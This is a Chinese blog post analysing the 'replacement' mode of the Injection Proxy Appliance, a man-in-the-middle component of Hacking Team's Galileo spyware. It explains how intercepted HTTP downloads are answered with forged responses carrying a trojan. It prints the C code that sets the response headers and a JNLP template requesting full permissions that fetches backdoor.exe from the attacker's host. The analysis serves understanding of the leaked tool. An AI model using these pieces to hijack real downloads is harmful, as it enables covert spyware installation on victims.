IPA中间人攻击之替换攻击

by LauCyun Nov 17,2015 09:38:37 5,954 views

IPA不是Apple程序应用文件iPhoneApplication的缩写,而是Injection Proxy Appliance的缩写,Injection Proxy Appliance是Galileo Remote Control System(伽利略远程控制系统,简称RCS)的一部分,其主要作用是:

  • IPA是Hacking Team RCS系统用于攻击的安全设备,并且其中使用中间人攻击技术和streamline injection机制,它可以在不同的网络情况下透明地进行操作,无论是在局域网还是内部交换机上。
  • IPA还可从监控的网络流量中检测HTTP连接,对其进行中间人攻击,主要有三种攻击方式:注入HTML注入EXE替换攻击。当监控的HTTP连接命中预先设置的规则时,IPA 将执行注入攻击。IPA 可以设置需要注入的用户(如IP地址),资源(如可执行文件)等规则。

上一篇文章《IPA中间人攻击之EXE注入》中,已分析了IPA的三大攻击方式之一的exe注入攻击。本文重点分析其替换攻击的攻击方式。

0x01 攻击原理

基于HTTP/1.0协议的客户机和服务器信息交换的过程包括四个步骤:

  1. 建立连接;
  2. 发送请求;
  3. 回送响应信息;
  4. 关闭连接。

IPA通过代理的模式从监控网络流量中检测HTTP连接,并劫持HTTP报文连接的报文,通过修改HTTP报文内容实现攻击,其攻击流程如图1。


图1 攻击原理

从图1中可知,替换注入攻击其实就两步:编辑木马设置响应报文。下面将重点分析一下这两步。

0x02 攻击过程

客户端发送的请求,我们不向服务器请求,直接将其丢弃,返回我们自己的响应报文。

1、读取木马文件和检测其有效性

首先根据文件设置文件的路径,并读取文件的内容。如果文件为空或者读取不成功的话,则不响应客户端。如果读取成功的话,将会进一步读取其大小,并设置为Content-Length属性。

在这里,我们了解一下头文件sys/stat.h的结构体:

struct stat
{
	dev_t st_dev;     //device 文件的设备编号
	ino_t st_ino;     //inode 文件的i-node
	mode_t st_mode;   //protection 文件的类型和存取的权限
	nlink_t st_nlink; //number of hard links 连到该文件的硬连接数目, 刚建立的文件值为1.
	uid_t st_uid;     //user ID of owner 文件所有者的用户识别码
	gid_t st_gid;     //group ID of owner 文件所有者的组识别码
	dev_t st_rdev;    //device type 若此文件为装置设备文件, 则为其设备编号
	off_t st_size;    //total size, in bytes 文件大小, 以字节计算
	unsigned long st_blksize; //blocksize for filesystem I/O 文件系统的I/O 缓冲区大小.
	unsigned long st_blocks;  //number of blocks allocated 占用文件区块的个数, 每一区块大小为512 个字节.
	time_t st_atime;  //time of lastaccess 文件最近一次被存取或被执行的时间, 一般只有在用mknod、utime、read、write 与tructate 时改变.
	time_t st_mtime;  //time of last modification 文件最后一次被修改的时间, 一般只有在用mknod、utime 和write 时才会改变
	time_t st_ctime;  //time of last change i-node 最近一次被更改的时间, 此参数会在文件所有者、组、权限被更改时更新
};

这里,stat()用来将参数file_name所指的文件状态,复制到参数buf所指的结构中。

2、设置响应报文的Content-Type属性

上面我们读取了木马文件,那么接下来就是根据木马文件的类型设置相应的Content-Type属性,我们做了如下处理:

/* create the HTTP response header */
/* special case for Blackberry files */
if (strstr(file, ".jad")) {
	content_type = "Content-Type: text/vnd.sun.j2me.app-descriptor\r\n";
	text_transfer = 1;
}
else if (strstr(file, ".cod")){
	content_type = "Content-Type: application/vnd.rim.cod\r\n";
	text_transfer = 1;
}
else if (strstr(file, ".html") || strstr(file, ".htm")){
	content_type = "Content-Type: text/html\r\n";
	text_transfer = 1;
}
else if (strstr(file, ".jnlp")){
	content_type = "Content-Type: application/x-java-jnlp-file\r\n";
	text_transfer = 1;
}
else {
	char mime_command[256];
	char output[128];
	char content[256];
	memset(content, 0, sizeof(content));
	/* get the mime type for the file */
	snprintf(mime_command, 256, "file -b --mime-type %s", path);
	FILE *p = popen(mime_command, "r");
	int r = fread(output, 1, sizeof(output), p);
	if (r > 0) {
		output[strlen(output) - 1] = 0;
		snprintf(content, 256, "Content-Type: %s", output);
	}
	fclose(p);
	/*
	* if left empty the content type will not be sent in the header
	* assuming binary transfer, don't try to replace anything in the file
	*/
	//content_type = "Content-Type: application/octet-stream\r\n";
	content_type = content;
	text_transfer = 0;
}

也就是说,除了四种类型情况外,其它系统都是根据类型设置Content-Type属性。

我们设置了.jad、.cod、.html、.jnlp四种类型的Content-Type属性。那么接下来就是编辑木马文件了。

首先,我们需要替换木马文件中的IPA_URL。再者,就是替换木马文件中的Host Name。用.jnlp分析一下,其.jnlp文件源码如下:

<?xml version="1.0" encoding="utf-8"?>
<jnlp codebase="%IPA_URL%" spec="1.0+">
  <information>
    <title>Java Web Start Updater</title>
    <vendor>%SITE_HOSTNAME%</vendor>
  </information>
  <security>
    <all-permissions/>
  </security>
  <resources>
    <j2se version="1.4.2+"/>
    <jar href="JwsUpdater.jar"/>
  </resources>
  <application-desc main-class="com.sun.JwsInstaller.JwsUpdater">
    <argument>%IPA_URL%/backdoor.exe</argument>
  </application-desc>
</jnlp>

这样,我们就把木马文件修改成功。

3、编写响应报文

前期的工作都做完了,那么接下来就是写设置响应报文了。

响应报文中必须具备:状态码、Content-Length、Content-Type、Connection四个属性。所以,如下:

/* prepare the HTTP header */
sprintf(data, "HTTP/1.0 200 OK\r\n"
	"Content-Length: %u\r\n"
	"%s" /* Content-Type: */
	"Connection: close\r\n"
	"\r\n", (u_int)content_length, content_type);

最后就是通过BIO_write将报文发送到客户端。这样整个替换攻击的过程就结束了。

0x03 总结

中间人攻击的替换攻击比其他两种方式更加暴力,就是直接替换,通过自己编写响应报文来实现攻击。

到这里,中间人攻击系列分析就结束了,希望这些对你有些作用。对分析有不足之处,请谅解。

Tags